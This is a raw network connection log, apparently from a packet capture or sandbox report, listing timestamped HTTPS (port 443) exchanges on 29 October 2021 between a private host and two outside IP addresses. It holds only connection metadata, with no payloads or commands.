Oct 29, 2021 14:10:44.389373064 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389419079 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389429092 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.389440060 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389478922 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389518976 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389544964 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.389552116 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389558077 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.389565945 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389621973 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.389628887 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389640093 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.389708042 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.390023947 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390089035 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390130997 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390141010 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.390155077 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390208960 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390223026 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.390233994 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390283108 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390319109 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.390326977 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390337944 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390389919 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.390403032 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390444040 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390455008 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.390465021 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390500069 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390548944 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.390561104 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390597105 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390609026 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.390621901 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.390876055 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.390979052 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391041994 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391077995 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391093969 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.391104937 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391144037 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.391192913 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391277075 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391324997 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391371012 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391380072 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.391391039 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391452074 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391491890 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.391498089 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391537905 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391562939 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.391572952 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.391573906 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391585112 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391628981 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.391648054 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391700983 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391747952 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391763926 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.391783953 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391829967 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.391841888 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.391855001 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392144918 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392209053 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.392215014 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392225981 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392261028 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.392311096 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392339945 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392360926 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.392366886 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392374992 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392417908 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392419100 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.392455101 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392483950 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392508984 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.392514944 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392534971 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392554045 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.392575979 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392601967 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392632008 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.392632961 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392657042 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392673969 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.392697096 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392743111 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.392762899 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.392813921 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.393080950 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393132925 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393152952 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393188953 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393218994 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.393219948 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393235922 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393299103 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393300056 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.393320084 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393332005 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393366098 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.393385887 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393430948 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393431902 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.393450022 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393485069 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393536091 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.393553019 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393604994 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.393853903 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393918991 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393951893 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393985033 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.393986940 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.393996000 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394047976 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394058943 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.394078016 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394098043 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.394123077 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394151926 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394182920 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.394201994 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394258022 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394289970 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394292116 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.394313097 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394347906 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.394351959 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394383907 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394412041 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394426107 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.394439936 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394454956 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.394479036 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394536972 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.394556046 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394834042 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394887924 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394920111 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394953012 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.394956112 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394964933 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.394989014 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.395008087 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.395020962 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395071030 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395102024 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395138979 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395143032 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.395159006 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395175934 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.395196915 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395225048 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395256042 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395267963 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.395282984 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395301104 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.395324945 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395348072 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395374060 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395387888 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.395401955 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395416021 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.395807028 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395849943 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395883083 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395909071 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395910978 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.395926952 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395944118 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.395967007 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.395972967 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.395984888 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396018028 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396035910 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.396049023 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396094084 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396117926 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396137953 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.396145105 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396153927 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396163940 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.396194935 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.396336079 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396384954 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396421909 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396470070 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396476030 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.396493912 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396508932 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.396553040 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396600008 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396632910 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396650076 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.396663904 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396677971 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.396703005 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396733046 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396764040 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396780014 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.396794081 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396806955 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.396832943 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396872044 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396899939 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396929026 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396948099 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.396955013 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396981955 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.396998882 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.397037029 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.397052050 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.397099018 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.397314072 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.397363901 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.397619963 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.397646904 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.397680044 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.397696018 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.397711039 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.397737026 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.397769928 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.397787094 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.397800922 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.397842884 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.397878885 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.397887945 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.397901058 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.397917986 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.397943020 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.397969961 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398014069 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398015976 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.398030043 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398056030 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.398061037 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398089886 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398118973 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398134947 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.398140907 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398149967 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398153067 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.398195028 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.398268938 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398333073 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398363113 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398403883 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398406982 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.398420095 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398443937 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.398448944 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398478985 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398508072 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398530006 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.398551941 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398562908 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.398586035 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398706913 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:44.398725033 CEST	443	49990	142.250.203.97	192.168.2.3
Oct 29, 2021 14:10:44.398736000 CEST	49990	443	192.168.2.3	142.250.203.97
Oct 29, 2021 14:10:47.661847115 CEST	50003	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.661901951 CEST	443	50003	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.661998034 CEST	50003	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.662250996 CEST	50003	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.662278891 CEST	443	50003	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.699466944 CEST	443	50003	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.700301886 CEST	50003	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.700984955 CEST	443	50003	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.703815937 CEST	50003	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.703965902 CEST	50003	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.703984022 CEST	443	50003	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.704010010 CEST	443	50003	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.737799883 CEST	443	50003	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.737963915 CEST	443	50003	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.738049030 CEST	50003	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.739435911 CEST	50003	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.739455938 CEST	443	50003	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.759109974 CEST	50008	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.759126902 CEST	443	50008	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.759191036 CEST	50008	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.759880066 CEST	50009	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.759907007 CEST	443	50009	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.759989977 CEST	50009	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.760651112 CEST	50010	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.760701895 CEST	443	50010	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.761189938 CEST	50011	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.761210918 CEST	443	50011	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.761225939 CEST	50010	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.761770964 CEST	50011	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.763673067 CEST	50008	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.763695955 CEST	443	50008	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.763925076 CEST	50009	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.763951063 CEST	443	50009	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.764211893 CEST	50010	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.764234066 CEST	443	50010	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.764384985 CEST	50011	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.764410019 CEST	443	50011	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.800647974 CEST	443	50008	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.801981926 CEST	50008	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.802546024 CEST	443	50010	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.802628994 CEST	443	50009	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.802640915 CEST	443	50008	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.802850008 CEST	50010	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.802891016 CEST	443	50010	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.803086042 CEST	443	50011	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.803494930 CEST	50008	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.803657055 CEST	443	50008	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.803728104 CEST	50009	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.803766966 CEST	443	50009	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.803913116 CEST	50011	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.803965092 CEST	443	50011	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.804075956 CEST	50008	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.804784060 CEST	443	50009	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.805444956 CEST	50009	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.805565119 CEST	50009	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.805578947 CEST	443	50009	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.805623055 CEST	443	50009	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.805922031 CEST	443	50010	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.806024075 CEST	50010	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.806459904 CEST	50010	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.806571960 CEST	443	50010	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.806591988 CEST	50010	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.806719065 CEST	443	50011	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.806808949 CEST	50011	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.807179928 CEST	50011	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.807339907 CEST	443	50011	140.82.121.4	192.168.2.3
